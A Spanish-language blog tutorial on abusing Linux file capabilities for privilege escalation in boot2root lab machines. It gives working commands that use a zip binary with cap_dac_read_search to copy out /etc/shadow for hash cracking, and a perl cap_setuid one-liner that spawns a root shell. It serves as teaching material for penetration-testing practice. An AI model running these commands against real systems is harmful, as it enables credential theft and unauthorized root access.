Abusando de las capabilities para escalar privilegios en Linux

En Linux un proceso ejecutándose con privilegios de superusuario o un ejecutable con el bit suid otorga muchas veces permisos demasiado altos durante la ejecución del programa. Es como un "todo o nada" y por lo tanto uno de los principales objetivos que intentará explotar cualquier hacker un poco avispado. 

Para paliar ésto simplemente se dividieron todas las posibles llamadas de kernel privilegiadas en grupos de funcionalidades relacionadas, las llamadas capabilities, que pueden asignarse a un ejecutable. De esa manera, cualquier posible problema de seguridad en un programa minimizará el impacto porque el atacante obtendrá sólo el subconjunto asignado de capacidades, no el acceso a todo el sistema.

No obstante y como podéis imaginar, también podemos abusar de las capabilities. De hecho en algunos ejercicios nos podremos encontrar un escenario similar al siguiente, que nos permitirá escalar privilegios en máquinas boot2root.

Lo primero que haremos es buscar de forma recursiva archivos con capabilities:

$ getcap -r / 2>/dev/null

/home/john/zip = cap_dac_read_search+ep
/home/peter/perl = cap_setuid+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/mtr-packet = cap_net_raw+ep

+ep significa que la capability es efectiva y permitida. 

Llama la atención es el binario zip que tiene la capacidad o capability cap_dac_read_search. Si leemos el man page, podemos ver que esto permite que zip omita las comprobaciones de permisos de lectura, lo que significa que podemos leer cualquier archivo en el sistema de archivos.

Es decir, podemos por ejemplo leer /etc/shadow para intentar crackear hashes o intentar obtener las claves privadas ssh de los usuarios.

El proceso es sencillo:
- comprimimos el archivo o carpeta que deseamos leer: /path/to/zip /tmp/shadow.zip /etc/shadow   
- lo descomprimimos: unzip /tmp/shadow.zip -d /tmp
- y ya podemos leer el archivo: cat /tmp/etc/shadow
 
Una vez obtenido las credenciales/entrado como el usuario peter podemos acceder y usar otro ejecutable con capabilities: perl, que nos permite cambiar el UID (cap_setuid). Así que simplemente ejecutamos:

$ /home/peter/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";' 

y ya somos root!

Comentarios